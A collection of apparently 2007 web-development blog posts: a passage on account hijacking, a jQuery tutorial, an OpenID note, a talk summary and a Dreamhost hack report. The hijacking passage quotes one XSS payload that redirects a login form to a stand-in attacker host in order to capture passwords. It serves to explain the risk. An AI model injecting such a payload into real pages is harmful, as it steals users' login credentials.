CSRF and XSS attacks (the latter which opens up the former even in the few sites that have CSRF protection) are everywhere, and make phishing for user passwords even easier. If you can inject the following XSS attack in to a login page all bets are off:

document.forms[0].action='http://hax0r.example.com/capture.cgi'

Your application may be perfectly secure, but if one of your users uses the same username and password on a less secure application that gets cracked or XSSd their account on your service can be compromised as well.

Most worrying of all is the way most user's entire online identities are attached to a single webmail account. People often criticise OpenID for putting all of a user's eggs in one basket, but don't realise that for most people their e-mail already serves that purpose. Steal my mail account and you can use forgotten password requests to steal everything else. Here's a nasty recent example of that happening with a Gmail account.

(This is why I'm excited to see OpenID providers moving towards more secure methods of authentication such as client-side SSL certificates and two-factor authentication with a physical token. Users can afford to have a stronger relationship with their OpenID provider than the other sites they sign in to. It would be nice to see the same authentication measures made available for popular webmail systems.)

If your web application hosts any valuable information at all, it's prudent to expect that some significant proportion of your users will eventually have their accounts hijacked.

This introduces some interesting design challenges. If we expect that at least some of our users' accounts will be compromised, what can we do to minimise the damage that an attacker can cause?

Online privacy campaigners frequently call for data and account deletion to be irreversible, but paradoxically this makes for even more trouble if an account is hijacked. Maybe applications should experiment with "root" level passwords that must be entered to make irreversible changes to an account (emptying the trash can for example). Of course, that just makes the whole password problem twice as bad.

I don't have any answers, but I'd love to see some discussion about this. Are there any best practices that have already emerged in this area?

jQuery for JavaScript programmers

2007-08-15T02:27:08Z

When jQuery came out back in January 2006, my first impression was that it was a cute hack. Basing everything around CSS selectors was a neat idea (see getElementsBySelector) but the chaining stuff looked like a bit of a gimmick and the library as a whole didn't look like it would cover all of the bases. I wrote jQuery off as a passing fad.

Over the past few months it's become clear to me exactly how wrong I was. jQuery is an exceptionally clever piece of engineering. It neatly encapsulates an extraordinary range of common functionality, and provides a clever plugin API for any functionality not included by default. It takes a core abstraction - that of a selection of DOM elements - and extracts as much mileage out of it as possible. Most importantly, it does so in a way that obeys best practices and plays well with other JavaScript code.

Most introductions to jQuery focus on designers and inexperienced developers. I'm going to try to explain why jQuery should be of interest to experienced programmers as well.

Namespacing

The key to writing good, reusable JavaScript is to zealously manage your namespace. JavaScript provides a single global namespace (the window object), and many programmers (and some libraries) add symbols to this with abandon. Global variables are evil! Smart developers minimise their number of global objects, using techniques like the module pattern.

jQuery introduces just one symbol to the global namespace: the jQuery function/object. Everything else is either a directy property of jQuery or a method of the object returned by calls to the jQuery function.

What about language enhancements? Most libraries provide some variation of map, filter and strip, functions that are sadly missing from the JavaScript engines that ship with most browsers. Some libraries directly extend JavaScript's built-in String and Array classes, but this can be a risky strategy. String.prototype and Array.prototype are themselves global namespaces, and adding properties to them brings the same risk of collisions as being careless with regular globals.

jQuery provides a number of language enhancement functions, but each one is made available as a property of the jQuery object: jQuery.each, jQuery.extend, jQuery.grep, jQuery.map, jQuery.merge and jQuery.trim. There's no chance of these colliding with someone else's code.

The infamous $ function

I wasn't being entirely truthful when I said that jQuery was the only global symbol introduced: the $ symbol is also set up as a shortcut for jQuery. Thankfully, this is done in a non-destructive way: if you need your old $ function back (if you are already using code based on Prototype, for example) you can call jQuery.noConflict() to revert to the old $ function.

If you want the convenience of the $ function for jQuery without colliding with some other use of the global $ function, the jQuery documentation suggests the following idiom:

(function($) {
    // Within this block, $ is a reference to jQuery
    // Neat, huh?
})(jQuery);

Attaching everything to the $ symbol was one of the things that made me initially dismiss jQuery as a gimmick. For some reason thinking of it in terms of the jQuery symbol makes everything seem a lot more sensible, even though I'm happy to use the $ shortcut in my own code.

Selecting some elements

Every jQuery operation starts with selecting one or more nodes from the DOM. jQuery's selection syntax (really a domain specific language) is an interesting hybrid of CSS 1, 2, bits of CSS 3, some XPath and a few custom extensions as well. I won't describe it in detail here, but here are some useful examples:

jQuery('div.panel'): All divs with class="panel"
jQuery('p#intro'): The paragraph with id="intro"
jQuery('div#content a:visible'): All visible links inside the div with id="content"
jQuery('input[@name=email]'): All input fields with name="email"
jQuery('table.orders tr:odd'): "odd" numbered rows in a table with class "orders"
jQuery('a[@href^="http://"]'): All external links (links that start with http://)
jQuery('p[a]'): All paragraphs that contain one or more links

Of particular interest from the above are :visible and :odd, which are jQuery specific extensions. Also note that the attribute selectors use an @ sign, in common with XPath rather than CSS 2.

The selection language is extremely rich, and is similar to regular expressions in that time taken to learn it will pay off many times over.

Doing stuff with them

The object returned by a jQuery selector call is an interesting beast. It represents a collection of DOM elements, and behaves a bit like an array - it has a length property, items can be accessed by index and (most importantly) Firebug treats it as an array when displaying it in the interactive console. This is a clever illusion; the collection is actually a jQuery object, incorporating a large number of methods which can be used to query, modify and extend the collection of selected elements.

There are three principle categories of jQuery methods: those that manipulate all of the matched elements, those that return a value from the first matched object, and those that modify the selection itself.

I won't list all of the methods (see visualjquery.com for that), but I'll illustrate with some examples. If you have Firebug you can try these out interactively: use this Insert jQuery bookmarklet first to load the jQuery library in to any page, then paste the code examples in to the Firebug console.

jQuery('div#primary').width(300);: Set the width of div id="primary" to 300 px.
jQuery('p').css('line-height', '1.8em');: Apply a line-height of 1.8em to all paragraphs.
jQuery('li:odd').css({color: 'white', backgroundColor: 'black'});: Apply two CSS rules to every other list item; note that the css() function can take an object instead of two strings.
jQuery('a[@href^="http://"]').addClass('external').attr('target', '_blank');: Add a class of "external" to all external links (those beginning with http://), then add target="_blank" for good measure. This makes use of chaining, described below.
jQuery('blockquote').each(function(el) { alert(jQuery(this).text()) });: Iterate over every blockquote on the page, and alert its textual content (excluding HTML tags).
jQuery('a').html('Click here!');: Replace all link text on the page with the insidious "Click here!".

Here are some examples of methods that read values from the first matched element:

var width = jQuery('div').width();: How wide is the first div on the page?
var src = jQuery('img').attr('src');: What's the src attribute of the first image on the page?
var color = jQuery('h1').css('color');: What colour is the first h1?

There's a pleasing symmetry at work here: the methods used to set attributes (when passed two arguments, or an object representing multiple settings) can instead be used to read values if called with only one argument. This symmetry is used throughout jQuery, making the API much easier to commit to memory.

Finally, there are methods that modify the set of selected elements itself. Many of these also provide simpler ways of traversing the DOM:

jQuery('div').not('[@id]'): Returns divs that do not have an id attribute.
jQuery('h2').parent(): Returns all elements that are direct parents of an h2.
jQuery('blockquote').children(): Returns all elements that are children of a blockquote.
jQuery('p').eq(4).next(): Find the fifth paragraph on the page, then find the next element (its direct sibling to the right).
jQuery('input:text:first').parents('form'): Find the form parent of the first input type="text" field on the page. The optional argument to parents() is another selector.

Chaining

The jQuery team frequently boast about jQuery's support of chaining, even to the point of declaring that "jQuery is designed to change the way that you write JavaScript" right on the front page. Personally I found this a big turn-off, so I'm happy to say that you can make good use of jQuery while avoiding lengthy chains of methods entirely.

That said, chaining can be used for some neat tricks. In addition to chaining a bunch of DOM manipulation methods together, you can use jQuery's end() method to push and pop a stack of the selected element contexts. This is a little hard to explain; essentially, every time you use a method that changes the selected set of elements (such as children() or filter()) you can later use end() to revert back to the previous selection. Jesse Skinner gives a neat example of this in action in his tutorial Simplify Ajax development with jQuery:

$('form#login')
    // hide all the labels inside the form with the 'optional' class
    .find('label.optional').hide().end()
    // add a red border to any password fields in the form
    .find('input:password').css('border', '1px solid red').end()
    // add a submit handler to the form
    .submit(function(){
        return confirm('Are you sure you want to submit?');
    });

That whole thing is essentially a one-liner. It selects a form, finds some elements within that form, applies changes to them, reverts the selection back to the original form and assigns a submit() handler to it.

It's a cute concept, but you don't have to use it if you don't want to. I'm quite happy splitting my code up with a few self-documenting variable names.

DOM manipulation

jQuery offers a few smart ways of making large scale manipulations to the DOM. The first is quite surprising: the jQuery function can take a snippet of HTML which it will turn in to a DOM element (it actually looks out for a string that starts with a less than sign):

var div = jQuery('<div>Some text</div>');

You can use chaining to add attributes to the div once it has been created:

var div = jQuery('<div>Some text</div>').addClass('inserted').attr('id', 'foo');

Now append it to the body tag:

div.appendTo(document.body)

Or prepend it to a known location using a selector:

div.prependTo('div#primary')

Handling events

All JavaScript libraries need an event handling utility and jQuery's is no exception. As with attr() and css(), the event methods serve dual purpose: call them with a function to assign an event handler; call them without to simulate that event being triggered:

jQuery('p').click(function() { jQuery(this).css('background-color', 'red'); });: Set up paragraphs so that when you click them they turn red.
jQuery('p:first').click(): Send a fake "click" to the first paragraph on the page.

Similar functions exist for the other browser events - mouseover, keyup and so on. Note that within an event handler the 'this' keyword is set to the element that triggered the event; using jQuery(this) is a common idiom to enable jQuery methods on that element.

A couple of event related functions deserve a special mention:

jQuery('a').hover(function() {
    jQuery(this).css('background-color', 'orange');
}, function() {
    jQuery(this).css('background-color', 'white');
});

hover() is a shortcut for setting up two functions that run onmouseover and onmouseout.

jQuery('p').one('click', function() { alert(jQuery(this).html()); });

one() sets up an event handler that will be removed after the first time it has been fired. The above example causes all paragraphs to alert their contents once the first time they are clicked.

jQuery also supports custom events, through the bind() and trigger() methods (for which click() and friends are just shortcuts). Custom events can take arguments, handled using an array passed to trigger():

jQuery(document).bind('stuffHappened', function(event, msg) {
    alert('stuff happened: ' + msg);
});
jQuery(document).trigger('stuffHappened', ['Hello!']);

Unobtrusive scripting

This is a topic that is very dear to me. I still believe that the best Web applications are the ones that are still usable with scripting turned off, and that the best way to achieve that is through unobtrusive scripting, with events being assigned to elements after the regular page has been loaded (see Unobtrusive Scripting and Hijax for more).

jQuery has excellent support for this. Firstly, the node selection metaphor is core to both jQuery and unobtrusive scripting as a whole. Secondly, jQuery ships with a solution to the window.onload problem based on Dean Edwards' work getting a "DOM loaded" event to work cross-browser. You can set a function up to run when the DOM is ready for it like so:

jQuery(document).ready(function() {
    alert('The DOM is ready!');
});

Even better, you can shortcut the above by passing your function directly to jQuery():

jQuery(function() {
    alert('The DOM is ready!');
});

jQuery and Ajax

jQuery has the best API for Ajax I've seen in any of the major libraries. The most simple form of an Ajax call looks like this:

jQuery('div#intro').load('/some/fragment.html');

This performs a GET request against /some/fragment.html and populates div#intro with the returned HTML fragment.

The first time I saw this, I was unimpressed. It's a neat shortcut, but what if you want to do something more advanced like display an Ajax loading indicator? jQuery exposes custom events (ajaxStart, ajaxComplete, ajaxError and more) for you to hook in this kind of code. It also offers a comprehensive low-level API for more complex Ajax interactions:

jQuery.get('/some/script.php', {'name': 'Simon'}, function(data) {
    alert('The server said: ' + data);
}); // GET against /some/script.php?name=Simon

jQuery.post('/some/script.php', {'name': 'Simon'}, function(data) {
    alert('The server said: ' + data);
}); // POST to /some/script.php

jQuery.getJSON('/some.json', function(json) {
    alert('JSON rocks: ' + json.foo + ' ' + json.bar);
}); // Retrieves and parses /some.json as JSON

jQuery.getScript('/script.js'); // GET and eval() /script.js

Plugins

Considering the amount of functionality you get out of the box, jQuery is actually pretty small - it comes in at 20KB when minified, even smaller when gzipped. Additional functionality outside the framework is handled using plugins, which can (and do) add brand new methods to the existing jQuery instance object. If you want to be able to run:

jQuery('p').bounceAroundTheScreenAndTurnGreen();

jQuery's plugin mechanism provides documented hooks for adding that method to the jQuery system. The ease with which these can be created has attracted an impressive community of plugin authors; the Plugin directory lists well over 100.

One really nice touch is that you can add custom selectors in a similar way to custom methods. The moreSelectors plugin adds things like "div:color(red)" to match divs with red text, for example.

Leaky abstractions

In my new-found respect for jQuery, I've been struggling with one philosophical blocker. For the past few years, I've been advising people to only pick a JavaScript library if they were willing to read the source code and figure out exactly how it works. My reasoning was based on Joel Spolsky's classic essay The Law of Leaky Abstractions, which points out that the more complexity your APIs are hiding, the more trouble you'll be in when some of that complexity leaks through. Browsers are the leakiest abstraction of them all, so being able to dig yourself out of a hole when the library fails to cover for you is of paramount importance.

jQuery uses some really arcane tricks to achieve its functionality - parts of it (like the selector code) are positively terrifying. If understanding exactly how the library works is necessary, jQuery must be a poor choice for the majority of developers. However, the enormous popularity of jQuery combined with a distinct lack of horror stories demonstrates that this is not the case.

I think I'm going to have to reconsider my advice. The way the library works isn't the issue: it's understanding the underlying issues, and knowing what kind of browser differences there are and what kind of techniques your library is using to fix them. No library can protect you 100% against weird browser behaviour, but as long as you have a grounding in the underlying theory you should be able to figure out if a problem stems from your own code, your library or the underlying implementation.

To conclude

I hope I've made the case that jQuery isn't just another library - there are enough interesting ideas in there to teach even the most hardened of JavaScript programmers some new tricks. Even if you don't intend on using it, it's still worth spending some time exploring the jQuery ecosystem.

A note about simple registration

2007-06-30T21:28:30Z

Simple registration is an extension that allows OpenID consumers to ask your provider for extra information - your name, e-mail address, date of birth and so on.

Unfortunately, the spec often causes confusion for implementers. Here's the tricky part:

openid.sreg.required:

Comma-separated list of field names which, if absent from the response, will prevent the Consumer from completing the registration without End User interaction.

openid.sreg.optional:

Comma-separated list of field names Fields that will be used by the Consumer, but whose absence will not prevent the registration from completing.

This is often interpreted as meaning that you can pass along a list of required fields and be guaranteed that they will be handed back to you. This is not the case: some providers (idproxy.net for example) don't support simple registration at all; others (like WordPress.com) only support a subset of the fields, since they don't store details such as the user's postcode. If your provider insists on certain values being returned by simple registration, some of your potential users will be unable to sign in.

The misunderstanding stems from the definition attached to the required field. When you make a simple registration request, you're providing advice to the provider. You're essentially saying that the user is going to have to provide this data eventually in order to register with your service, so it would be really handy if the provider could send it over to you. If they don't, your application will have no choice but to ask the user for it directly.

In other words, even if you specify required values you shouldn't expect them to come back every time.

By far the best way to use simple registration is as a way of pre-filling a signup form for your user. Many applications ask the user to complete a short registration form the first time they sign in with their OpenID. Use simple registration to pre-fill some of those form values - that way, if it's not available (or some of the values are missing) your application logic doesn't really care, it's just one more form field that the user will have to complete themselves. Ma.gnolia.com is a great example of a site that does the right thing.

See also this thread on the mailing list from back in March.

Doing Local Right

2007-06-11T22:46:18Z

"Doing Local Right" was the title of my talk at this year's @media Europe. Patrick had asked me if I could put together a case study, and I jumped at the chance to share some of the work of my former colleagues at the Lawrence Journal-World newspaper in Lawrence, Kansas. I had the privilege of working at the newspaper for a year in late 2003-2004.

I started the talk by introducing two semi-related problems. The first is that the local search offerings from the big Internet companies are pretty poor - it's difficult to tell how comprehensive or accurate their business listings are, and they lack any sense of the flavour that real local knowledge can provide.

Meanwhile, the newspaper industry is stuck in a self-declared state of crisis, with classified advertising decimated by free online listings and the bulk of their stories (taken from the same wire services as every other paper) quickly becoming a commodity.

Newspapers and local websites are a perfect match. Newspapers have the reporters, the relationships and the resources to provide better coverage of their local areas than anyone else could even dream of. That's exactly what the team at the Lawrence Journal-World have spent the past five years doing.

I only had 25 minutes for the talk, so I concentrated on www.lawrence.com, www.ljworld.com and www.ljworld.com/marketplace. Lawrence.com is my favourite of the three: it's the local entertainment site that every city in the world needs, but very few actually have. I covered the following features:

A comprehensive events calendar (with editorially selected "best bets")
Blogs by local residents
Movie listings for local cinemas (with links to the reviews by both newspaper staff and members of the public)
Detailed event coverage, including additional dates, weather forecasts for outdoor events in the next few days and an SMS/e-mail reminder service
Gig listings that incorporate MP3 downloads ("if you go, you might hear") from the 1,000+ MP3s of local bands hosted by the site
Drink specials, which also appear on relevant event and venue pages
The local band and music database, browseable by band, musician, genre and more
The local restaurant listings, including kitchen hours (and hence the infamous restaurants open right now)
The downloads page, which combines data from all over the site to present MP3s for download that are by bands which are playing gigs in the next week ("see 'em live at the Bottleneck")

The point I was trying to make (one which I've seen Adrian Holovaty make many times) is that if you take good care of your data you can slice and dice it in dozens of unexpected ways.

Next up was LJWorld.com, which the team re-launched last month. The new site continues the trend of user comments on pretty much everything, and I demonstrated the funky new multimedia page which again illustrates the value of rich data models. The election results coverage and "Minors in possession" special report also got a mention.

The final site I talked about was Marketplace, the brand new business directory listing over 4,000 local companies. It can provide a map of all the chiropractors in town, along with their opening hours and contact details. Individual business listings can include events, photos, coupons, even video ads. Business owners can claim their listings and add more information to them; one restaurant uploaded photos of their entire menu.

I concluded with a few points on how you can go around building sites like this, including the "wouldn't it be cool if..." development process and the importance of cheap labour (interns!) to reliably populating your database. I also threw in a plug for Django; the automatic admin interface was developed especially to support the fast pace of development at the Journal-World.

I finished up with a plug for the blogs of some of the current team, all well worth a look.

Full download (PDF) available from slideshare.

Massive Dreamhost hack, WordPress not to blame

2007-06-06T09:38:00Z

On mezzoblue, Dave Shea reports that someone had modified every index.php and index.html file on his site to include spam links at the bottom of the page, hidden inside a <u style="display: none;">. Dozens of other people in his comments reported the same thing happening to their sites.

At first, it looked like the common thread was WordPress hosted on Dreamhost. Initial commenters were all running WordPress (Dave has it installed for other domains on his hosting account even though he doesn't use it for mezzoblue itself) and there was a vulnerability in WordPress 2.0.7 which was fixed back in January but would still affect people who hadn't yet upgraded. I posted a link suggesting that WordPress users in particular should check their sites.

I apologise to the WordPress team for even suggesting that their product had something to do with this. Here's an e-mail Dreamhost sent out to some of their customers last night:

We have detected what appears to be the exploit of a number of accounts belonging to DreamHost customers, and it appears that your account was one of those affected.

We're still working to determine how this occurred, but it appears that a 3rd party found a way to obtain the password information associated with approximately 3,500 separate FTP accounts and has used that information to append data to the index files of customer sites using automated scripts (primarily for search engine optimization purposes).

Our records indicate that only roughly 20% of the accounts accessed - less than 0.15% of the total accounts that we host - actually had any changes made to them. Most accounts were untouched.

Scary stuff.